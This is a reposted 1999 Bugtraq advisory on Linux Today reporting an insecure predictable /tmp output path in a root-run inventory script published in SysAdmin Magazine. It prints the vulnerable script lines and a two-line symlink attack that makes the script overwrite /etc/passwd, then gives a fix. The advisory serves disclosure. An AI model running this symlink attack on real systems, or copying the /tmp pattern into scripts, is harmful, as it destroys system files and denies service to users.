Security bug in a shell script in January issue of SysAdmin Magazine | Linux Today

Security bug in a shell script in January issue of SysAdmin Magazine

Written By
Web Webster
Web Webster
Jan 4, 1999
Date: Mon, 4 Jan 1999 02:33:46 -0800
From: "Jan B. Koum" <jkb@BEST.COM>
To: BUGTRAQ@netspace.org
Subject: January SysAdmin EY script DoS bug.

/* Warning! Lame bug report ahead. */

/* This is nothing against EY. They are a good company. This
is against people who claim to be security experts and can't
write a secure script. */

        Lets make it short. SysAdmin (www.samag.com - btw, their
        DNS is brocken. Isn't it ironic that they can't get their
        own systems running, yet they teach others how) magazine
        published a script in Jan 1999 issue which, after you
        run it as root, tells you stuff about your system. Here
        are some parts of this script:

set HOSTNAME=`hostname`
set basedir=/tmp/eyscan
set OUTPUT=?{basedir}/ey-?{HOSTNAME}.out

        After that, output like 'ls -l /etc/passwd' is sent to
        $OUTFILE.

        So you know that your admin runs lame scripts as root
        and what do you do? Hmm.. gee..

% mkdir /tmp/eyscan
% ln -s /etc/passwd /tmp/eyscan/ey-`hostname`.out

        After an admin runs the script - he is toasted. A points
        to this story kids:
        o  set basedir=/root or /var/run ..

-- Yan
Web Webster

Web Webster

Web Webster has more than 20 years of writing and editorial experience in the tech sector. He’s written and edited news, demand generation, user-focused, and thought leadership content for business software solutions, consumer tech, and Linux Today, he edits and writes for a portfolio of tech industry news and analysis websites including webopedia.com, and DatabaseJournal.com.

Linux Today Logo

LinuxToday is a trusted, contributor-driven news resource supporting all types of Linux users. Our thriving international community engages with us through social media and frequent content contributions aimed at solving problems ranging from personal computing to enterprise-level IT operations. LinuxToday serves as a home for a community that struggles to find comparable information elsewhere on the web.

Property of TechnologyAdvice. © 2026 TechnologyAdvice. All Rights Reserved

Advertiser Disclosure: Some of the products that appear on this site are from companies from which TechnologyAdvice receives compensation. This compensation may impact how and where products appear on this site including, for example, the order in which they appear. TechnologyAdvice does not include all companies or all types of products available in the marketplace.